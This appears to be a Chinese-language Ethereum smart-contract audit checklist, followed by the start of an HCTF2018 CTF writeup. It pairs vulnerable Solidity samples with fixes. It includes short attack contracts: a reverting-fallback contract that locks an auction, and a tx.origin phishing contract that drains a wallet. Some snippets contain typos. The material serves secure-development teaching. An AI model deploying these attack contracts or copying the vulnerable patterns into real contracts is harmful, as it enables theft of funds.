    <span class="nx">emit</span> <span class="nx">Transfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">_amount</span><span class="p">);</span>
    <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
<span class="p">}</span>

2、设计缺陷问题

(1) approve授权函数条件竞争

approve函数中应避免条件竞争。在修改allowance前,应先修改为0,再修改为_value。

通过置0的方式,可以在一定程度上缓解条件竞争中产生的危害,合约管理人可以通过检查日志来判断是否有条件竞争情况的发生。

<span class="kd">function</span> <span class="nx">approve</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_spender</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">){</span>
    <span class="nx">allowance</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">][</span><span class="nx">_spender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">_value</span><span class="p">;</span>
    <span class="k">return</span> <span class="kc">true</span>

上述代码就有可能导致条件竞争。

应在approve中加入

require((_value == 0) || (allowance[msg.sender][_spender] == 0));

将allowance先改为0再改为对应数字

(2) 循环Dos问题

[1] 循环消耗问题

在合约中,不推荐使用太大次的循环

在以太坊中,每一笔交易都会消耗一定量的gas,而实际消耗量是由交易的复杂度决定的,循环次数越大,交易的复杂度越高,当超过允许的最大gas消耗量时,会导致交易失败。

真实世界事件

Simoleon (SIM) - https://paper.seebug.org/646/

Pandemica - https://bcsec.org/index/detail/id/260/tag/2

[2] 循环安全问题

合约中,应尽量避免循环次数受到用户控制,攻击者可能会使用过大的循环来完成Dos攻击

当用户需要同时向多个账户转账,我们需要对目标账户列表遍历转账,就有可能导致Dos攻击。

<span class="kd">function</span> <span class="nx">Distribute</span><span class="p">(</span><span class="nx">address</span><span class="p">[]</span> <span class="nx">_addresses</span><span class="p">,</span> <span class="nx">uint256</span><span class="p">[]</span> <span class="nx">_values</span><span class="p">)</span> <span class="nx">payable</span> <span class="nx">returns</span><span class="p">(</span><span class="kt">bool</span><span class="p">){</span>
    <span class="k">for</span> <span class="p">(</span><span class="nx">uint</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">_addresses</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">transfer</span><span class="p">(</span><span class="nx">_addresses</span><span class="p">[</span><span class="nx">i</span><span class="p">],</span> <span class="nx">_values</span><span class="p">[</span><span class="nx">i</span><span class="p">]);</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
<span class="p">}</span>

遇到上述情况是,推荐使用withdrawFunds来让用户取回自己的代币,而不是发送给对应账户,可以在一定程序上减少危害。

上述代码如果控制函数调用,那么就可以构造巨大循环消耗gas,造成Dos问题

3、编码安全问题

(1) 溢出问题

[1] 算术溢出

在调用加减乘除时,应使用safeMath库来替代,否则容易导致算数上下溢,造成不可避免的损失

pragma solidity ^0.4.18;

contract Token {

  mapping(address =&gt; uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value &gt;= 0); //可以通过下溢来绕过判断
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public constant returns (uint balance) {
    return balances[_owner];
  }
}

balances[msg.sender] - _value >= 0可以通过下溢来绕过判断。

通常的修复方式都是使用openzeppelin-safeMath,但也可以通过对不同变量的判断来限制,但很难对乘法和指数做什么限制。

正确的写法如下:

<span class="kd">function</span> <span class="nx">transfer</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_amount</span><span class="p">)</span>  <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">_to</span> <span class="o">!=</span> <span class="nx">address</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">_amount</span> <span class="o">&lt;=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]);</span>

    <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">].</span><span class="nx">sub</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span>
    <span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">].</span><span class="nx">add</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span>
    <span class="nx">emit</span> <span class="nx">Transfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">_amount</span><span class="p">);</span>
    <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
<span class="p">}</span>

真实世界事件

Hexagon

SMT/BEC

[2] 铸币烧币溢出问题

铸币函数中,应对totalSupply设置上限,避免因为算术溢出等漏洞导致恶意铸币增发

<span class="kd">function</span> <span class="nx">TokenERC20</span><span class="p">(</span>
    <span class="nx">uint256</span> <span class="nx">initialSupply</span><span class="p">,</span>
    <span class="kt">string</span> <span class="nx">tokenName</span><span class="p">,</span>
    <span class="kt">string</span> <span class="nx">tokenSymbol</span>
<span class="p">)</span> <span class="kr">public</span> <span class="p">{</span>
    <span class="nx">totalSupply</span> <span class="o">=</span> <span class="nx">initialSupply</span> <span class="o">*</span> <span class="mi">10</span> <span class="o">**</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">decimals</span><span class="p">);</span>  
    <span class="nx">balanceOf</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">totalSupply</span><span class="p">;</span>                
    <span class="nx">name</span> <span class="o">=</span> <span class="nx">tokenName</span><span class="p">;</span>                                   
    <span class="nx">symbol</span> <span class="o">=</span> <span class="nx">tokenSymbol</span><span class="p">;</span>                               
<span class="p">}</span>

上述代码中就未对totalSupply做限制,可能导致指数算数上溢。

正确写法如下:

contract OPL {
    // Public variables
    string public name;
    string public symbol;
    uint8 public decimals = 18; // 18 decimals
    bool public adminVer = false;
    address public owner;
    uint256 public totalSupply;
    function OPL() public {
        totalSupply = 210000000 * 10 ** uint256(decimals);      
        ...                                 
}

真实世界事件

(2) 重入漏洞

call函数调用时,应该做严格的权限控制,或直接写死call调用的函数

<span class="kd">function</span> <span class="nx">withdraw</span><span class="p">(</span><span class="nx">uint</span> <span class="nx">_amount</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="nx">_amount</span><span class="p">);</span>
    <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">call</span><span class="p">.</span><span class="nx">value</span><span class="p">(</span><span class="nx">_amount</span><span class="p">)();</span>
    <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span>
<span class="p">}</span>

上面代码可以使用call注入转账,将大量合约代币递归转账而出。

call注入可能导致代币窃取,权限绕过

addr.call(data);             
addr.delegatecall(data); 
addr.callcode(data);

如delegatecall,在合约内必须调用其它合约时,可以使用关键字library,这样可以确保合约是无状态而且不可自毁的。通过强制设置合约为无状态可以一定程度上缓解储存环境的复杂性,防止攻击者通过修改状态来攻击合约。

真实世界事件

The Dao

call注入

(3) 权限控制

合约中不同函数应设置合理的权限

检查合约中各函数是否正确使用了public、private等关键词进行可见性修饰,检查合约是否正确定义并使用了modifier对关键函数进行访问限制,避免越权导致的问题。

<span class="kd">function</span> <span class="nx">initContract</span><span class="p">()</span> <span class="kr">public</span> <span class="p">{</span>
    <span class="nx">owner</span> <span class="o">=</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">reader</span><span class="p">;</span>
<span class="p">}</span>

上述代码作为初始函数不应该为public。

真实世界事件

Parity Multi-sig bug 1

Parity Multi-sig bug 2

Rubixi

(4) 重放攻击

合约中如果涉及委托管理的需求,应注意验证的不可复用性,避免重放攻击

在资产管理体系中,常有委托管理的情况,委托人将资产给受托人管理,委托人支付一定的费用给受托人。这个业务场景在智能合约中也比较普遍。

这里举例子为transferProxy函数,该函数用于当user1转token给user3,但没有eth来支付gasprice,所以委托user2代理支付,通过调用transferProxy来完成。

<span class="kd">function</span> <span class="nx">transferProxy</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_from</span><span class="p">,</span> <span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_fee</span><span class="p">,</span>
    <span class="nx">uint8</span> <span class="nx">_v</span><span class="p">,</span> <span class="nx">bytes32</span> <span class="nx">_r</span><span class="p">,</span> <span class="nx">bytes32</span> <span class="nx">_s</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span><span class="p">){</span>

    <span class="k">if</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">_from</span><span class="p">]</span> <span class="o">&lt;</span> <span class="nx">_fee</span> <span class="o">+</span> <span class="nx">_value</span> 
        <span class="o">||</span> <span class="nx">_fee</span> <span class="o">&gt;</span> <span class="nx">_fee</span> <span class="o">+</span> <span class="nx">_value</span><span class="p">)</span> <span class="nx">revert</span><span class="p">();</span>

    <span class="nx">uint256</span> <span class="nx">nonce</span> <span class="o">=</span> <span class="nx">nonces</span><span class="p">[</span><span class="nx">_from</span><span class="p">];</span>
    <span class="nx">bytes32</span> <span class="nx">h</span> <span class="o">=</span> <span class="nx">keccak256</span><span class="p">(</span><span class="nx">_from</span><span class="p">,</span><span class="nx">_to</span><span class="p">,</span><span class="nx">_value</span><span class="p">,</span><span class="nx">_fee</span><span class="p">,</span><span class="nx">nonce</span><span class="p">,</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">));</span>
    <span class="k">if</span><span class="p">(</span><span class="nx">_from</span> <span class="o">!=</span> <span class="nx">ecrecover</span><span class="p">(</span><span class="nx">h</span><span class="p">,</span><span class="nx">_v</span><span class="p">,</span><span class="nx">_r</span><span class="p">,</span><span class="nx">_s</span><span class="p">))</span> <span class="nx">revert</span><span class="p">();</span>

    <span class="k">if</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">+</span> <span class="nx">_value</span> <span class="o">&lt;</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span>
        <span class="o">||</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">+</span> <span class="nx">_fee</span> <span class="o">&lt;</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">])</span> <span class="nx">revert</span><span class="p">();</span>
    <span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">+=</span> <span class="nx">_value</span><span class="p">;</span>
    <span class="nx">emit</span> <span class="nx">Transfer</span><span class="p">(</span><span class="nx">_from</span><span class="p">,</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">_value</span><span class="p">);</span>

    <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">+=</span> <span class="nx">_fee</span><span class="p">;</span>
    <span class="nx">emit</span> <span class="nx">Transfer</span><span class="p">(</span><span class="nx">_from</span><span class="p">,</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_fee</span><span class="p">);</span>

    <span class="nx">balances</span><span class="p">[</span><span class="nx">_from</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_value</span> <span class="o">+</span> <span class="nx">_fee</span><span class="p">;</span>
    <span class="nx">nonces</span><span class="p">[</span><span class="nx">_from</span><span class="p">]</span> <span class="o">=</span> <span class="nx">nonce</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
    <span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
<span class="p">}</span>

这个函数的问题在于nonce值是可以预判的,其他变量不变的情况下,可以进行重放攻击,多次转账。

漏洞来自于Defcon2018演讲议题

Replay Attacks on Ethereum Smart Contracts
Replay Attacks on Ethereum Smart Contracts pdf

4、编码设计问题

(1) 地址初始化问题

涉及到地址的函数中,建议加入require(_to!=address(0))验证,有效避免用户误操作或未知错误导致的不必要的损失

由于EVM在编译合约代码时初始化的地址为0,如果开发者在代码中初始化了某个address变量,但未赋予初值,或用户在发起某种操作时,误操作未赋予address变量,但在下面的代码中需要对这个变量做处理,就可能导致不必要的安全风险。

这样的检查可以以最简单的方式避免未知错误、短地址攻击等问题的发生。

(2) 判断函数问题

及到条件判断的地方,使用require函数而不是assert函数,因为assert会导致剩余的gas全部消耗掉,而他们在其他方面的表现都是一致的

值得注意的是,assert存在强制一致性,对于固定变量的检查来说,assert可以用于避免一些未知的问题,因为他会强制终止合约并使其无效化,在一些固定条件下,assert更适用。

(3) 余额判断问题

不要假设合约创建时余额为0,可以强制转账

谨慎编写用于检查账户余额的不变量,因为攻击者可以强制发送wei到任何账户,即使fallback函数throw也不行。

攻击者可以用1wei来创建合约,然后调用selfdestruct(victimAddress)来销毁,这样余额就会强制转移给目标,而且目标合约没有代码执行,无法阻止。

值得注意的是,在打包过程中,攻击者可以通过条件竞争在合约创建前转账,这样在合约创建时余额就不为0.

(4) 转账函数问题

在完成交易时,默认情况下推荐使用transfer而不是send完成交易

当transfer或者send函数的目标是合约时,会调用合约的fallback函数,但fallback函数执行失败时。

transfer会抛出错误并自动回滚,而send会返回false,所以在使用send时需要判断返回类型,否则可能会导致转账失败但余额减少的情况。

<span class="kd">function</span> <span class="nx">withdraw</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">_amount</span><span class="p">)</span> <span class="kr">public</span> <span class="p">{</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="nx">_amount</span><span class="p">);</span>
    <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span>
    <span class="nx">etherLeft</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span>
    <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span>  
<span class="p">}</span>

上面给出的代码中使用 send() 函数进行转账,因为这里没有验证 send() 返回值,如果msg.sender 为合约账户 fallback() 调用失败,则 send() 返回false,最终导致账户余额减少了,钱却没有拿到。

(5) 代码外部调用设计问题

对于外部合约优先使用pull而不是push

在进行外部调用时,总会有意无意的失败,为了避免发生未知的损失,应该经可能的把对外的操作改为用户自己来取。 错误样例:

contract auction {
    address highestBidder;
    uint highestBid;

    function bid() payable {
        if (msg.value &lt; highestBid) throw;

        if (highestBidder != 0) {
            if (!highestBidder.send(highestBid)) { // 可能会发生错误
                throw;
            }
        }

       highestBidder = msg.sender;
       highestBid = msg.value;
    }
}

当需要向某一方转账时,将转账改为定义withdraw函数,让用户自己来执行合约将余额取出,这样可以最大程度的避免未知的损失。

范例代码:

contract auction {
    address highestBidder;
    uint highestBid;
    mapping(address =&gt; uint) refunds;

    function bid() payable external {
        if (msg.value &lt; highestBid) throw;

        if (highestBidder != 0) {
            refunds[highestBidder] += highestBid; // 记录在refunds中
        }

        highestBidder = msg.sender;
        highestBid = msg.value;
    }

    function withdrawRefund() external {
        uint refund = refunds[msg.sender];
        refunds[msg.sender] = 0;
        if (!msg.sender.send(refund)) {
            refunds[msg.sender] = refund; // 如果转账错误还可以挽回
        }
    }
}

(6) 错误处理

合约中涉及到call等在address底层操作的方法时,做好合理的错误处理

address.call()
address.callcode()
address.delegatecall()
address.send()

这类操作如果遇到错误并不会抛出异常,而是会返回false并继续执行。

<span class="kd">function</span> <span class="nx">withdraw</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">_amount</span><span class="p">)</span> <span class="kr">public</span> <span class="p">{</span>
    <span class="nx">require</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="nx">_amount</span><span class="p">);</span>
    <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span>
    <span class="nx">etherLeft</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span>
    <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span>  
<span class="p">}</span>

上述代码没有校验send的返回值,如果msg.sender是合约账户,fallback调用失败时,send返回false。

所以当使用上述方法时,需要对返回值做检查并做错误处理。

if(!someAddress.send(55)) {
    // Some failure code
}

https://paper.seebug.org/607/#4-unchecked-return-values-for-low-level-calls

值得注意的一点是,作为EVM设计的一部分,下面这些函数如果调用的合约不存在,将会返回True

call、delegatecall、callcode、staticcall

在调用这类函数之前,需要对地址的有效性做检查。

(7) 弱随机数问题

智能合约上随机数生成方式需要更多考量

Fomo3D合约在空投奖励的随机数生成中就引入了block信息作为随机数种子生成的参数,导致随机数种子只受到合约地址影响,无法做到完全随机。

<span class="kd">function</span> <span class="nx">airdrop</span><span class="p">()</span>
    <span class="kr">private</span> 
    <span class="nx">view</span> 
    <span class="nx">returns</span><span class="p">(</span><span class="kt">bool</span><span class="p">)</span>
<span class="p">{</span>
    <span class="nx">uint256</span> <span class="nx">seed</span> <span class="o">=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">abi</span><span class="p">.</span><span class="nx">encodePacked</span><span class="p">(</span>

        <span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">timestamp</span><span class="p">).</span><span class="nx">add</span>
        <span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">difficulty</span><span class="p">).</span><span class="nx">add</span>
        <span class="p">((</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">abi</span><span class="p">.</span><span class="nx">encodePacked</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">coinbase</span><span class="p">))))</span> <span class="o">/</span> <span class="p">(</span><span class="nx">now</span><span class="p">)).</span><span class="nx">add</span>
        <span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">gaslimit</span><span class="p">).</span><span class="nx">add</span>
        <span class="p">((</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">abi</span><span class="p">.</span><span class="nx">encodePacked</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">))))</span> <span class="o">/</span> <span class="p">(</span><span class="nx">now</span><span class="p">)).</span><span class="nx">add</span>
        <span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="kt">number</span><span class="p">)</span>

    <span class="p">)));</span>
    <span class="k">if</span><span class="p">((</span><span class="nx">seed</span> <span class="o">-</span> <span class="p">((</span><span class="nx">seed</span> <span class="o">/</span> <span class="mi">1000</span><span class="p">)</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">))</span> <span class="o">&lt;</span> <span class="nx">airDropTracker_</span><span class="p">)</span>
        <span class="k">return</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span>
    <span class="k">else</span>
        <span class="k">return</span><span class="p">(</span><span class="kc">false</span><span class="p">);</span>
<span class="p">}</span>

上述这段代码直接导致了Fomo3d薅羊毛事件的诞生。真实世界损失巨大,超过数千eth。

所以在合约中关于这样的应用时,考虑更合适的生成方式和合理的利用顺序非常重要。

这里提供一个比较合理的随机数生成方式hash-commit-reveal,即玩家提交行动计划,然后行动计划hash后提交给后端,后端生成相应的hash值,然后生成对应的随机数reveal,返回对应随机数commit。这样,服务端拿不到行动计划,客户端也拿不到随机数。

有一个很棒的实现代码是dice2win的随机数生成代码。

hash-commit-reveal最大的问题在于服务端会在用户提交之后短暂的获得整个过程中的所有数据,如果恶意进行选择中止攻击,也在一定程度上破坏了公平性。详细分析见智能合约游戏之殇——Dice2win安全分析

当然hash-commit在一些简单场景下也是不错的实现方式。即玩家提交行动计划的hash,然后生成随机数,然后提交行动计划。

真实世界事件

Fomo3d薅羊毛

Last Winner

5、编码问题隐患

(1) 语法特性问题

在智能合约中小心整数除法的向下取整问题

在智能合约中,所有的整数除法都会向下取整到最接近的整数,当我们需要更高的精度时,我们需要使用乘数来加大这个数字。

该问题如果在代码中显式出现,编译器会提出问题警告,无法继续编译,但如果隐式出现,将会采取向下取整的处理方式。

错误样例

uint x = 5 / 2; // 2

正确代码

uint multiplier = 10;
uint x = (5 * multiplier) / 2;

(2) 数据私密问题

注意链上的所有数据都是公开的

在合约中,所有的数据包括私有变量都是公开的,不可以将任何有私密性的数据储存在链上。

(3) 数据可靠性

合约中不应该让时间戳参与到代码中,容易受到矿工的干扰,应使用block.height等不变的数据

uint someVariable = now + 1;

if (now % 2 == 0) { // now可能被矿工控制

}

(4) gas消耗优化

对于某些不涉及状态变化的函数和变量可以加constant来避免gas的消耗

contract EUXLinkToken is ERC20 {
    using SafeMath for uint256;
    address owner = msg.sender;

    mapping (address =&gt; uint256) balances;
    mapping (address =&gt; mapping (address =&gt; uint256)) allowed;
    mapping (address =&gt; bool) public blacklist;

    string public constant name = "xx";
    string public constant symbol = "xxx";
    uint public constant decimals = 8;
    uint256 public totalSupply = 1000000000e8;
    uint256 public totalDistributed = 200000000e8;
    uint256 public totalPurchase = 200000000e8;
    uint256 public totalRemaining = totalSupply.sub(totalDistributed).sub(totalPurchase);

    uint256 public value = 5000e8;
    uint256 public purchaseCardinal = 5000000e8;

    uint256 public minPurchase = 0.001e18;
    uint256 public maxPurchase = 10e18;

(5) 合约用户

合约中,应尽量考虑交易目标为合约时的情况,避免因此产生的各种恶意利用

contract Auction{
    address public currentLeader;
    uint256 public hidghestBid;

    function bid() public payable {
        require(msg.value &gt; highestBid);
        require(currentLeader.send(highestBid));
        currentLeader = msg.sender;
        highestBid = currentLeader;
    }
}

上述合约就是一个典型的没有考虑合约为用户时的情况,这是一个简单的竞拍争夺王位的代码。当交易ether大于合约内的highestBid,当前用户就会成为合约当前的"王",他的交易额也会成为新的highestBid。

contract Attack {
    function () { revert(); }

    function Attack(address _target) payable {
        _target.call.value(msg.value)(bytes4(keccak256("bid()")));
    }
}

但当新的用户试图成为新的“王”时,当代码执行到require(currentLeader.send(highestBid));时,合约中的fallback函数会触发,如果攻击者在fallback函数中加入revert()函数,那么交易就会返回false,即永远无法完成交易,那么当前合约就会一直成为合约当前的"王"。

(6) 日志记录

关键事件应有Event记录,为了便于运维监控,除了转账,授权等函数以外,其他操作也需要加入详细的事件记录,如转移管理员权限、其他特殊的主功能

fonction transferOwnership(address newOwner) onlyOwner public {
    ownner = newOwner;
    emit OwnershipTransferred(owner, newowner);
    }

(7) 回调函数

合约中定义Fallback函数,并使Fallback函数尽可能的简单

Fallback会在合约执行发生问题时调用(如没有匹配的函数时),而且当调用send或者transfer函数时,只有2300gas 用于失败后fallback函数执行,2300 gas只允许执行一组字节码指令,需要谨慎编写,以免gas不够用。

部分样例:

function() payable { LogDepositReceived(msg.sender); }

function() public payable{ revert();};

(8) Owner权限问题

避免owner权限过大

部分合约owner权限过大,owner可以随意操作合约内各种数据,包括修改规则,任意转账,任意铸币烧币,一旦发生安全问题,可能会导致严重的结果。

关于owner权限问题,应该遵循几个要求: 1、合约创造后,任何人不能改变合约规则,包括规则参数大小等 2、只允许owner从合约中提取余额

(9) 用户鉴权问题

合约中不要使用tx.origin做鉴权

tx.origin代表最初始的地址,如果用户a通过合约b调用了合约c,对于合约c来说,tx.origin就是用户a,而msg.sender才是合约b,对于鉴权来说,这是十分危险的,这代表着可能导致的钓鱼攻击。

下面是一个范例:

pragma solidity &gt;0.4.24;

// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;

    constructor() public {
        owner = msg.sender;
    }

    function transferTo(address dest, uint amount) public {
        require(tx.origin == owner);
        dest.transfer(amount);
    }
}

我们可以构造攻击合约

<span class="nx">pragma</span> <span class="nx">solidity</span> <span class="o">&gt;</span><span class="mf">0.4</span><span class="p">.</span><span class="mi">24</span><span class="p">;</span>

<span class="kr">interface</span> <span class="nx">TxUserWallet</span> <span class="p">{</span>
    <span class="kd">function</span> <span class="nx">transferTo</span><span class="p">(</span><span class="nx">address</span> <span class="nx">dest</span><span class="p">,</span> <span class="nx">uint</span> <span class="nx">amount</span><span class="p">)</span> <span class="nx">external</span><span class="p">;</span>
<span class="p">}</span>

<span class="nx">contract</span> <span class="nx">TxAttackWallet</span> <span class="p">{</span>
    <span class="nx">address</span> <span class="nx">owner</span><span class="p">;</span>

    <span class="kr">constructor</span><span class="p">()</span> <span class="kr">public</span> <span class="p">{</span>
        <span class="nx">owner</span> <span class="o">=</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="kd">function</span><span class="p">()</span> <span class="nx">external</span> <span class="p">{</span>
        <span class="nx">TxUserWallet</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">).</span><span class="nx">transferTo</span><span class="p">(</span><span class="nx">owner</span><span class="p">,</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">balance</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

当用户被欺骗调用攻击合约,则会直接绕过鉴权而转账成功,这里应使用msg.sender来做权限判断。

https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin

(10) 条件竞争问题

合约中尽量避免对交易顺序的依赖

在智能合约中,经常容易出现对交易顺序的依赖,如占山为王规则、或最后一个赢家规则。都是对交易顺序有比较强的依赖的设计规则,但以太坊本身的底层规则是基于矿工利益最大法则,在一定程度的极限情况下,只要攻击者付出足够的代价,他就可以一定程度控制交易的顺序。开发者应避免这个问题。

真实世界事件

Fomo3d事件

(11) 未初始化的储存指针

避免在函数中初始化struct变量

在solidity中允许一个特殊的数据结构为struct结构体,而函数内的局部变量默认使用storage或memory储存。

而存在storage(存储器)和memory(内存)是两个不同的概念,solidity允许指针指向一个未初始化的引用,而未初始化的局部stroage会导致变量指向其他储存变量,导致变量覆盖,甚至其他更严重的后果。

pragma solidity ^0.4.0;

contract Test {

        address public owner;
        address public a;

        struct Seed {
                address x;
                uint256 y;
        }

        function Test() {
                owner = msg.sender;
                a = 0x1111111111111111111111111111111111111111;
        }

        function fake_foo(uint256 n) public {
                Seed s;
                s.x = msg.sender;
                s.y = n;
        }
}

上面代码编译后,s.x和s.y会错误的指向ownner和a。

攻击者在执行fake_foo之后,会将owner修改为自己。

上述问题在最新版的0.4.25版本被修复。

以太坊合约审计checkList审计系列报告

REF


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/741/

原文阅读

HCTF2018 智能合约两则 Writeup
Elfinx 2018-11-13 6:24 转存

作者:LoRexxar'@知道创宇404区块链安全研究团队
时间:2018年11月12日

这次比赛为了顺应潮流,HCTF出了3道智能合约的题目,其中1道是逆向,2道是智能合约的代码审计题目。

ez2win是一份标准的合约代币,在一次审计的过程中我发现,如果某些私有函数没有加上private,可以导致任意转账,是个蛮有意思的问题,但也由于太简单,所以想给大家opcode,大家自己去逆,由于源码及其简单,逆向难度不会太大,但可惜没有一个人做出来,被迫放源码,再加上这题本来就简单,重放流量可以抄作业,有点儿可惜。

bet2loss是我在审计dice2win类源码的时候发现的问题,但出题的时候犯傻了,在出题的时候想到如果有人想用薅羊毛的方式去拿flag也挺有意思的,所以故意留了transfer接口给大家,为了能让这个地方合理,我就把发奖也改用了transfer,结果把我预期的重放漏洞给修了...

bet2loss这题在服务端用web3.py,客户端用metamask+web3.js完成,在开发过程中,还经历了metamask的一次大更新,写好的代码忽然就跑不了了,换了新的api接口...简直历经磨难。

这次比赛出题效果不理想,没想到现在的智能合约大环境有这么差,在之前wctf大师赛的时候,duca出的一道智能合约题目超复杂,上百行的合约都被从opcode逆了出来,可这次没想到没人做得到,有点儿可惜。不管智能合约以后会不会成为热点,但就目前而言,合约的安全层面还处于比较浅显的级别,对于安全从业者来说,不断走在开发前面不是一件好事吗?

